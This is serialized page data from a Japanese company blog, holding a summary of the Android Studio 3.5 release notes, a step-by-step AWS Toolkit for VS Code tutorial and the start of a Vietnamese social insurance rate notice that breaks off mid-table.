3.5はIDEの",[57,1406,1409],{"href":1407,"rel":1408},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-system-health",[61],"パフォーマンス改善",", ",[57,1412,1415],{"href":1413,"rel":1414},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-feature-polish",[61],"機能改善","とバグ修正の3つの改善の要素があります。",[495,1418,1420],{"id":1419},"i-新機能",[20,1421,1422],{},"I. 新機能",[660,1424,1426],{"id":1425},"_1-推奨メモリ設定",[20,1427,1428],{},"1. 推奨メモリ設定",[11,1430,1431,1432,996],{},"デフォルト値としてAndroid Studioは最大ヒープが1280MBです。 もしかなりのRAMを使用するような大きなプロジェクトやPCのRAMのサイズが大きい場合パフォーマンスの改善のためAndroid Studioの最大ヒープ数を変更することができます。core IDE、Gradle daemonやKotlin daemonなどがそうです。 もしパフォーマンスが改善できそうなことがあればAndroid Studioは自動的にチェックしヒープサイズを最適化してくれます。 もう少し詳しく知りたければ、 ",[57,1433,1231],{"href":1434,"rel":1435},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#adjusting_heap_size",[61],[530,1437],{"className":1438,"alt":64,"src":1439,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103014\u002FScreen-Shot-2019-09-20-at-3.20.07-PM.png",[11,1441,1442],{},"もし、手動でヒープサイズを調整したい場合は下記を行なってください。",[11,1444,1445,1446,1449,1450,1453,1454,1457],{},"1. メニューバーの",[20,1447,1448],{},"File"," > ",[20,1451,1452],{},"Settings","をクリックしてください。 (Mac OSでは> ",[20,1455,1456],{},"Preferences"," をクリックしてください。)",[11,1459,1460,1461,1449,1464,1449,1467,1470],{},"2.  ",[20,1462,1463],{},"Appearance & Behavior",[20,1465,1466],{},"System Settings",[20,1468,1469],{},"Memory Settings","をクリックしてください。",[530,1472],{"className":1473,"alt":64,"src":1474,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103132\u002FScreen-Shot-2019-09-20-at-4.09.48-PM.png",[660,1476,1478,1479],{"id":1477},"_2使用メモリレポート","2. ",[20,1480,1481],{},"使用メモリレポート",[11,1483,1484,1485,1488,1489,996],{},"Android Studioでは時々メモリの再利用やレポートで難しい問題にあたります。それを解決するために、メニューバーの",[20,1486,1487],{},"Help > Analyze Memory Usage"," をクリックするとメモリ使用量レポートを作成します。そうするとローカルのデータの個人情報をサニタイジングし、メモリ診断を行うためにAndroid Studio teamにデータを送って良いか確認を促されます。 もっと詳しく知りたい場合は",[57,1490,1493],{"href":1491,"rel":1492},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freport-bugs#run-memory-usage-report",[61],"Run a memory usage report",[530,1495],{"className":1496,"alt":64,"src":1497,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103200\u002FScreen-Shot-2019-09-20-at-3.32.59-PM-1024x617.png",[660,1499,1501],{"id":1500},"_3-windows-antivirus-file-io-optimization",[20,1502,1503],{},"3. Windows: Antivirus file I\u002FO optimization",[11,1505,1506,1507,996],{},"アンチウィルススキャンが行われるとそのファイルを参照させないようにAndroid Studioはフォルダを特定します。ビルド時のパフォーマンスの調整するとAndroid Studioはアンチウィルスの設定方法を知らせてくれます。 もっと詳しく知りたい場合は",[57,1508,1511],{"href":1509,"rel":1510},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#antivirus-impact",[61],"Minimize the impact of antivirus software on build speed",[660,1513,1515],{"id":1514},"_4-chrome-os-support",[20,1516,1517],{},"4. Chrome OS Support:",[11,1519,1520],{},"Chrome OS端末の正式サポートを開始しました。HP Chromebook x360 14, Acer Chromebook 13\u002FSpin 13などの端末です。",[495,1522,1524],{"id":1523},"ii-既存機能",[20,1525,1526],{},"II. 既存機能",[660,1528,1530],{"id":1529},"_1デプロイ機能の改善","1. デプロイ機能の改善",[11,1532,1533],{},"Apply Changesはコードやリソースを変更した時に再起動無しでもしくは最近のactivityを再起動することなくそれらを反映してくれます。",[530,1535],{"className":1536,"alt":64,"src":1537,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103225\u002Fapply-changes-buttons-3.5.png",[199,1539,1540,1550,1555],{},[34,1541,1542,1545,1546,1549],{},[20,1543,1544],{},"Apply Code Changes"," 再起動無しでプログラムを変更します。メソッドのbody部のコードを変更した時にこの機能を使うことができます。ただし、リソースを変更した時は使用できません。 プログラム、リソースの両方を変更した時は",[20,1547,1548],{},"Apply Changes and Restart Activity"," を使用してください。",[34,1551,1552,1554],{},[20,1553,1548],{}," プログラムとリソースを変更した時にアプリの再起動をせずにアクティビティの再起動だけでそれらを反映しようとします。この機能を使う場合は、メソッドのボディ部のプログラムを変更やリソースの更新時にのみ使用できます。",[34,1556,1557,1560],{},[20,1558,1559],{},"Run"," 全てデプロイし、アプリを再起動します。この機能は変更した時に他の方法では変更が反映されない場合に使用します。",[660,1562,1564],{"id":1563},"_2-複数デバイスへのデプロイ",[20,1565,1566],{},"2. 複数デバイスへのデプロイ",[11,1568,1569],{},"デバイスを選択してデプロイをすぐに行わせる新しいドロップダウンメニューがあります。このメニューは複数のデバイスを登録している時に一括してビルドするのに便利です。",[530,1571],{"className":1572,"alt":64,"src":1573,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103251\u002Fdeploy-run-app-1024x544.png",[660,1575,1577],{"id":1576},"_3-gradle-sync時のキャッシュファイル特定の改善",[20,1578,1579],{},"3. Gradle sync時のキャッシュファイル特定の改善",[11,1581,1582],{},"Gradleのビルド時のキャッシュの場所の特定が改善されました。以前までのバージョンではディスク容量が増えるとIDEがキャッシュの削除を行い、Gradle sycで参照先がなくなったというエラーが発生しました。このバージョンからはIDEはdependenciesを単純にダウンロードし、Gradele syncが完全に成功するようにします。",[660,1584,1586],{"id":1585},"_4-data-binding",[20,1587,1588],{},"4. Data Binding",[11,1590,1591],{},"XMLで作成中にバインディングしてくれるエディタの機能とパフォーマンスが改善されました。",[530,1593],{"className":1594,"alt":64,"src":1595,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.4.gif",[11,1597,1598],{},"Android Studio 3.4.",[530,1600],{"className":1601,"alt":64,"src":1602,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.5.gif",[11,1604,1605],{},"Android Studio 3.5.",[660,1607,1609,1610],{"id":1608},"_5layout-editor","5. ",[20,1611,1612],{},"Layout Editor",[11,1614,1615,1616,1619],{},"Constraintsプロパティは",[20,1617,1618],{},"Attributes > Layout > Constraints","でリスト化されます。デザインスクリーンまたはConstraintsリストのConstraintsを選択した時、選択されたconstraintはハイライトされます。",[11,1621,1622,1626,1628,1632,1633],{},[530,1623],{"className":1624,"alt":64,"src":1625,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103359\u002Fconstraint-relationships-3.5-1024x469.png",[568,1627],{},[530,1629],{"className":1630,"alt":64,"src":1631,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103500\u002FPicture1.png"," 同様に選択してdeleteキーをクリックすると削除できます。Controlキー（MacOSではCommandキー）を押しながらconstraint anchorをクリックする同様に削除できます。 Controlキー（MacOSではCommandキー）を押しながらカーソルでアンカーの上をなぞると関係の線が赤色になり、その時にクリックすると削除することができます。 ",[530,1634],{"className":1635,"alt":64,"src":1636,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103600\u002FPicture2.png",[11,1638,1639,1640,1643,1644,1647,1648,1651,1652],{},"Viewを選択し、",[20,1641,1642],{},"Constraint"," 内の**+",[20,1645,1646],{},"アイコンをクリックすることで新しいconstraintを作成することができます。 関連画像の","Attributes",[20,1649,1650],{},"パネルの","Widget**セクションに設定が表示されます。 ",[530,1653],{"className":1654,"alt":64,"src":1655,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-widget-3.5.gif",[11,1657,1658],{},"constraintを作成している時、Layout Editorは適切にanchor pointを表示します。前回ではユーザが設定したいViewだけではなく、全てのViewに全てのanchor pointがハイライトされていました。付け加えて、constraintのどれを選ぶかという時、青色で対象のViewをオーバーレイしてくれます。 Viewが重なっておりconstrainを選択す時にこのハイライトはとても役に立ちます。",[530,1660],{"className":1661,"alt":64,"src":1662,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.4.gif",[11,1664,1665],{},"Android Studio 3.4でのcomponentが重なっている時のconstraintの作成",[530,1667],{"className":1668,"alt":64,"src":1669,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.5.gif",[11,1671,1672],{},"Android Studio 3.5でのcomponentが重なっている時のconstraintの作成",[660,1674,1676,1677],{"id":1675},"_6cc-projectsの改善","6. ",[20,1678,1679],{},"C\u002FC++ projectsの改善",[11,1681,1682],{},[20,1683,1684],{},"single variant syncのBuild Variants panelの改善",[11,1686,1687,1690],{},[20,1688,1689],{},"Build Variants","パネルでactive build variant と active ABIが設定できます。この機能はビルドの構成を簡単に設定できたり、Gradle syncのパフォーマンスの調整がてきます。",[530,1692],{"className":1693,"alt":64,"src":1694,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103750\u002Fsingle-variant-ABI.png",[11,1696,1697],{},[20,1698,1699],{},"異なるNDKバージョンの使用Side-by-side versions of the NDK",[11,1701,1702],{},"NDKの複数のバージョンを使用することができます。これはプロジェクトの構成をフレキシブルに対応できるようにします。例えば同じコンピュータでプロジェクトのNDKが異なるものがあった時など。",[11,1704,1705],{},"もしプロジェクトがAndroid Gradle plugin 3.5.0またはそれ以上なら、それぞれのプロジェクトにあったNDKのバージョンを使用することができます。 これは再構築やNDKとAndroid Gradleプラグインの非互換性を最小限にすることができます。",[495,1707,1709],{"id":1708},"iii-既知の問題",[20,1710,1711],{},"III. 既知の問題",[11,1713,1714,1715,1718],{},"XML codeエディタを使用中, 正しくないコードスタイルを適用することがある。例えば、メニューバーから",[20,1716,1717],{},"Code > Reformat Code"," を選択する。この問題の修正はAndroid code styleを下記のようにリセットする",[31,1720,1721,1731,1738,1744],{},[34,1722,1723,1726,1727,1730],{},[20,1724,1725],{},"File > Settings","をクリックします。 (MacOSでは ",[20,1728,1729],{},"Android Studio > Preferences",").",[34,1732,1733,1734,1737],{},"左パネルの",[20,1735,1736],{},"Editor > Code Style > XML","をクリックします。",[34,1739,1740,1741,1737],{},"右パネルの右上の角の近くの",[20,1742,1743],{},"Set from > Predefined Style > Android",[34,1745,1746,1737],{},[20,1747,1748],{},"OK",[1750,1751,1752],"h4",{"id":1752},"参考文献",[199,1754,1755],{},[34,1756,1757],{},[57,1758,1759],{"href":1759,"rel":1760},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases",[61],{"title":64,"searchDepth":65,"depth":65,"links":1762},[1763,1770,1780],{"id":1419,"depth":65,"text":1422,"children":1764},[1765,1766,1768,1769],{"id":1425,"depth":1375,"text":1428},{"id":1477,"depth":1375,"text":1767},"2. 使用メモリレポート",{"id":1500,"depth":1375,"text":1503},{"id":1514,"depth":1375,"text":1517},{"id":1523,"depth":65,"text":1526,"children":1771},[1772,1773,1774,1775,1776,1778],{"id":1529,"depth":1375,"text":1530},{"id":1563,"depth":1375,"text":1566},{"id":1576,"depth":1375,"text":1579},{"id":1585,"depth":1375,"text":1588},{"id":1608,"depth":1375,"text":1777},"5. Layout Editor",{"id":1675,"depth":1375,"text":1779},"6. C\u002FC++ projectsの改善",{"id":1708,"depth":65,"text":1711},[1387,1388],"2019-09-27","Android Studio 3.5はIDEのパフォーマンス改善, 機能改善とバグ修正の3つの改善の要素があります。 I) 新機能 1. 推奨メモリ設定 デフォルト値としてAndroid Studioは最大ヒープが1280MBです。 もしかなりのRAMを使用するような大きなプロジェクトやPCのRAMのサイズが大きい場合パフォーマンスの改善のためAndroid Studioの最大ヒープ数を変更することができます。core IDE、Gradle daemonやKotlin daemonなどがそうです。 もしパフォーマンスが改善できそうなことがあればAndroid Studioは自動的にチェックしヒープサイズを最適化してくれます",{},"\u002Fja\u002Fnews\u002Fandroid-studio-3-5-release-note-summary",{"title":1399,"description":1783},"ja\u002Fnews\u002Fandroid-studio-3-5-release-note-summary","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06102504\u002FScreen-Shot-2019-09-27-at-19.15.20.png","82RrBxe3-LMVthd-YWpwqmUDKJrOOpVTsUi_lWEKy2A",{"id":1791,"title":1792,"body":1793,"category":2160,"created by":68,"date":2161,"description":2162,"extension":71,"meta":2163,"navigation":73,"path":2164,"sections":75,"seo":2165,"stem":2166,"thumbnail":2167,"__hash__":2168},"content_ja\u002Fja\u002Fnews\u002Faws-toolkit-for-visual-studio-code.md","AWS Toolkit for Visual Studio Code",{"type":8,"value":1794,"toc":2148},[1795,1799,1802,1805,1833,1838,1849,1854,1866,1871,1895,1901,1904,1909,1916,1921,1964,1970,1998,2002,2012,2018,2023,2037,2088,2092,2100,2104],[660,1796,1798],{"id":1797},"aws-toolkit","AWS Toolkit",[11,1800,1801],{},"この拡張サービスは開発者にとってAmazon Web Services (AWS)のサーバレスアプリケーションの開発\u002Fデバッグをローカルで行うのに役立てくれます。",[11,1803,1804],{},"AWS Toolkit for Visual Studio Codeは下記に従えば使用することができます。",[31,1806,1807,1815,1822],{},[34,1808,1809,1810,1730],{},"サーバレスアプリケーション開発をローカルで行い、対象のAWSアカウントにデプロイする (参照 ",[57,1811,1814],{"href":1812,"rel":1813},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode#usage",[61],"Usage",[34,1816,1817,1818,1821],{},"対象アカウントのAWSリソースの管理 (参照 ",[57,1819,1814],{"href":1812,"rel":1820},[61],")",[34,1823,1824,1825],{},"これは下記のことを含みます:",[199,1826,1827,1830],{},[34,1828,1829],{},"登録されているAWS CloudFormationを検索し削除する。",[34,1831,1832],{},"LAWS Lambdaのコンポーネントを検索し、追加する。",[660,1834,1836],{"id":1835},"準備",[20,1837,1835],{},[199,1839,1840,1843,1846],{},[34,1841,1842],{},"AWSのアカウント",[34,1844,1845],{},"作業用ローカルPC OS – Windows, Linux, and macOS",[34,1847,1848],{},"VS Code version 1.31.1またはそれ以降",[11,1850,1851],{},[20,1852,1853],{},"推奨",[199,1855,1856,1863],{},[34,1857,1858,1859,1232],{},"AWS SAM CLI – サーバレスアプリケーション開発、テスト、分析をローカルで行うのに役立ちします。 こちらはtoolkitに必須という訳ではありません。ただ、こちらとDockerをインストールすることをお勧めします。なぜなら様々なAWS Serverless Application Model (AWS SAM)で必要であり、サーバレスアプリケーションの色々な機能を使うことができます。AWS SAM CLIのインストールについては ",[57,1860,1231],{"href":1861,"rel":1862},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fserverless-application-model\u002Flatest\u002Fdeveloperguide\u002Fserverless-sam-cli-install.html",[61],[34,1864,1865],{},"Docker – AWS SAM CLIを使用する場合は必須です。",[660,1867,1869],{"id":1868},"インストール",[20,1870,1868],{},[199,1872,1873,1885,1888],{},[34,1874,1875,1876,1881],{},"VScodeアプリケーションを開き、アクティブバーのExtensionアイコンを選択してください。その後、“AWS Toolkit for Visual Studio Code”を検索してください。 参考 Vscode websiteからtoolkitをインストールすることもできます。",[57,1877,1880],{"href":1878,"rel":1879},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode",[61],"toolkitリンク",[530,1882],{"className":1883,"alt":64,"src":1884,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090446\u002Faws1.png",[34,1886,1887],{},"インストールを選択します。",[34,1889,1890,1891],{},"インストール後、リロードが要求されたらアプリケーションをリスタートする必要があります。インストールが成功していれば, AWSアイコンがアクティブバー内に表示されます。",[530,1892],{"className":1893,"alt":64,"src":1894,"style":536},[533,534],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Faws2-1.png",[660,1896,1898],{"id":1897},"aws-access-keysの取得",[20,1899,1900],{},"AWS Access Keysの取得",[11,1902,1903],{},"Access keysはアプリケーションからAWSサービスやリソースへのアクセスを許可させるかどうかの判断を行う情報になります。Access keysはAWSアカウントに関連づけられたもの”root user”もしくはAWS Identity and Access Management (IAM)として作成されアクセス許可を得たものになります。",[11,1905,1906],{},[20,1907,1908],{},"注意",[11,1910,1911,1912,996],{},"“root user”は全てのサービスやリソースにアクセスできるユーザのためIAMを作成し、必要なタスクを行うために必要な権限を付与するようにすることをお勧めします。その時に、AWSアカウントユーザに関連づけられたアクセスキーをクレデンシャルとして使用します。 詳しくは",[57,1913,1231],{"href":1914,"rel":1915},"https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002Fid_users_create.html",[61],[660,1917,1919],{"id":1918},"クレデンシャルプロファイルの作成",[20,1920,1918],{},[199,1922,1923,1926,1933,1944,1951,1958],{},[34,1924,1925],{},"VSCodeを開く",[34,1927,1928,1929,1932],{},"Ctrl + Shift + P (open ",[20,1930,1931],{},"Command Palette",")を押下します。",[34,1934,1935,1938,1939],{},[20,1936,1937],{},"AWS: Create Credentials Profile","を検索し選択します。",[530,1940],{"className":1941,"alt":64,"src":1942,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090640\u002Faws3.png","width: 80%;",[34,1945,1946,1947],{},"プロファイル名を入力します (ex: default).",[530,1948],{"className":1949,"alt":64,"src":1950,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090707\u002Faws4.png",[34,1952,1953,1954],{},"access key IDを入力します。",[530,1955],{"className":1956,"alt":64,"src":1957,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090736\u002Faws5.png",[34,1959,1960,1961],{},"secret keyを入力します。",[530,1962],{"className":1963,"alt":64,"src":1950,"style":1943},[533,534],[660,1965,1967,1969],{"id":1966},"aws-toolkit-for-visual-studio-codeを通してawsにアクセスします",[20,1968,1792],{},"を通してAWSにアクセスします。",[199,1971,1972,1975,1979,1986],{},[34,1973,1974],{},"VScodeを開きます。",[34,1976,1928,1977,1932],{},[20,1978,1931],{},[34,1980,1981,1982],{},"**AWS: Connect to AWS.**で検索します。",[530,1983],{"className":1984,"alt":64,"src":1985,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090848\u002Faws7.png",[34,1987,1988,1989,1993,1994,1997],{},"profileをリストから選択します。\n",[530,1990],{"className":1991,"alt":64,"src":1992,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090913\u002Faws8.png"," 右下の角に小さいポップアップウィンドウで接続確認が出た場合は、",[20,1995,1996],{},"Yes","を選択します。",[530,1999],{"className":2000,"alt":64,"src":2001,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090935\u002Faws9.png",[199,2003,2005],{"start":2004},5,[34,2006,2007,2008],{},"AWSに接続することができました。リージョンを選択することが可能になります。\n",[530,2009],{"className":2010,"alt":64,"src":2011,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091018\u002Faws10.png",[660,2013,2015],{"id":2014},"ローカルホスト内でのaws-samの環境作成",[20,2016,2017],{},"ローカルホスト内でのAWS SAMの環境作成",[11,2019,2020],{},[20,2021,2022],{},"必須事項:",[31,2024,2025,2028,2031,2034],{},[34,2026,2027],{},"Administration権限を持ったIAMユーザ",[34,2029,2030],{},"Dockerのインストールおよび起動",[34,2032,2033],{},"AWS CLIとAWS SAMのインストール",[34,2035,2036],{},"AWS S3に使用できるバケット",[199,2038,2039,2046,2053,2060,2067,2074,2081],{},[34,2040,2041,2042],{},"“Create new SAM Application”を選択します。",[530,2043],{"className":2044,"alt":64,"src":2045,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091122\u002Fdebug1-1.png",[34,2047,2048,2049],{},"SAM applicationで使用するプログラミング言語を選択します。",[530,2050],{"className":2051,"alt":64,"src":2052,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091146\u002Fdebug2-1.png",[34,2054,2055,2056],{},"新しいプロジェクトを保存するフォルダーを選択します。",[530,2057],{"className":2058,"alt":64,"src":2059,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091205\u002Fdebug3-1.png",[34,2061,2062,2063],{},"新しいプロジェクトの名前を入力します。",[530,2064],{"className":2065,"alt":64,"src":2066,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091220\u002Fdebug4.png",[34,2068,2069,2070],{},"これはSAMのサンプルです。",[530,2071],{"className":2072,"alt":64,"src":2073,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091250\u002Fdebug6.png",[34,2075,2076,2077],{},"ローカル環境でmfile app.jsファイルを開き、AWS SAM applicationを動かすために”Run Locally”を選択します。",[530,2078],{"className":2079,"alt":64,"src":2080,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091313\u002Fdebug7.png",[34,2082,2083,2084],{},"その時、VSコードのタブの”OUTPUT”にAPIの結果が表示されます。",[530,2085],{"className":2086,"alt":64,"src":2087,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091324\u002Fdebug8-1024x525.png",[660,2089,2091],{"id":2090},"ローカル環境でのaws-sam-applicationのデバッグ","ローカル環境でのAWS SAM Applicationのデバッグ",[11,2093,2094,2095],{},"“Debug Locally”を選択します。その後debugで止め情報を見たいところのポイントを選択します。 ",[530,2096],{"className":2097,"alt":64,"src":2098,"style":2099},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091348\u002Fdebug9-1024x312.png","width: 95%;",[660,2101,2103],{"id":2102},"aws-sam-applicationをaws上にデプロイする","AWS SAM ApplicationをAWS上にデプロイする",[199,2105,2106,2113,2120,2127,2134,2141],{},[34,2107,2108,2109],{},"“Deploy SAM Application”を選択します。",[530,2110],{"className":2111,"alt":64,"src":2112,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091409\u002Fdeploy1.png",[34,2114,2115,2116],{},"AWSにデプロイするSAMのtemplateファイルを選択します。",[530,2117],{"className":2118,"alt":64,"src":2119,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091445\u002Fdeploy2.png",[34,2121,2122,2123],{},"デプロイするAWSのリージョンを選択します。",[530,2124],{"className":2125,"alt":64,"src":2126,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091457\u002Fdeploy3.png",[34,2128,2129,2130],{},"デプロイ先のS3バケット名を入力します。(このバケットはS3に存在しているものです。)",[530,2131],{"className":2132,"alt":64,"src":2133,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091508\u002Fdeploy4.png",[34,2135,2136,2137],{},"デプロイ先のstackの名前を入力します。",[530,2138],{"className":2139,"alt":64,"src":2140,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06094204\u002Fdeploy5.png",[34,2142,2143,2144],{},"AWSへアップロードが成功したら、AWSエクスプローラ上で新しいCloudFormationとLambdaが表示されます。",[530,2145],{"className":2146,"alt":64,"src":2147,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06091542\u002Fdeploy6.png",{"title":64,"searchDepth":65,"depth":65,"links":2149},[2150,2151,2152,2153,2154,2155,2157,2158,2159],{"id":1797,"depth":1375,"text":1798},{"id":1835,"depth":1375,"text":1835},{"id":1868,"depth":1375,"text":1868},{"id":1897,"depth":1375,"text":1900},{"id":1918,"depth":1375,"text":1918},{"id":1966,"depth":1375,"text":2156},"AWS Toolkit for Visual Studio Codeを通してAWSにアクセスします。",{"id":2014,"depth":1375,"text":2017},{"id":2090,"depth":1375,"text":2091},{"id":2102,"depth":1375,"text":2103},"teck talk","2019-09-20","AWS Toolkit この拡張サービスは開発者にとってAmazon Web Services (AWS)のサーバレスアプリケーションの開発\u002Fデバッグをローカルで行うのに役立てくれます。",{},"\u002Fja\u002Fnews\u002Faws-toolkit-for-visual-studio-code",{"title":1792,"description":2162},"ja\u002Fnews\u002Faws-toolkit-for-visual-studio-code","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090408\u002Fawstoolkit_vscode-1.png","Oer27ATGyo0OD1Ap6OwEAxxLJ_nKLRVnTny8Lbr22sI",{"id":2170,"title":2171,"body":2172,"category":67,"created by":68,"date":2283,"description":2176,"extension":71,"meta":2284,"navigation":73,"path":2285,"sections":75,"seo":2286,"stem":2287,"thumbnail":2288,"__hash__":2289},"content_ja\u002Fja\u002Fnews\u002Fbao-hiem-thong-bao-dieu-chinh-muc-luong-co-so-tu-thang-07-2018.md","[保険料]基準金額変更のお知らせ",{"type":8,"value":2173,"toc":2281},[2174,2177],[11,2175,2176],{},"法令第72\u002F2018\u002FND-CPに従い、2018年7月1日から社会保険\u002F健康保険料金の基準金額ががVND1.300.000\u002F月以上からVND1.390.000\u002F月に引き上げられた。 それに従い社会保険および健康保険の上限も変更された。また、妊産婦サポート （6ヶ月以上）にも変更があり、詳細は下記の通りである。",[368,2178,2179,2193],{},[371,2180,2181],{},[374,2182,2183,2188],{},[377,2184,2185],{},[20,2186,2187],{},"旧社会保険\u002F健康保険の上限",[377,2189,2190],{},[20,2191,2192],{},"新社会保険\u002F健康保険の上限",[393,2194,2195,2218,2241,2264],{},[374,2196,2197,2208],{},[398,2198,2199,2202,2204,2205,2207],{},[20,2200,2201],{},"1.300.000 x 20 = 26.000.000 VND",[568,2203],{},"最大の保険料支払額: 26.000.000 VND",[568,2206],{},"(基準金額の20倍)",[398,2209,2210,2213,2215,2216,2207],{},[20,2211,2212],{},"1.390.000 x 20 = 27.800.000 VND",[568,2214],{},"最大の保険料支払額: 27.800.000 VND",[568,2217],{},[374,2219,2220,2231],{},[398,2221,2222,2225,2227,2228,2230],{},[20,2223,2224],{},"会社負担",[568,2226],{},"社会保険 (17.5%): 26.000.000 x 17.5% = 4.550.000 VND",[568,2229],{},"健康保険 (3%): 26.000.000 x 3% = 780.000 VND",[398,2232,2233,2235,2237,2238,2240],{},[20,2234,2224],{},[568,2236],{},"社会保険 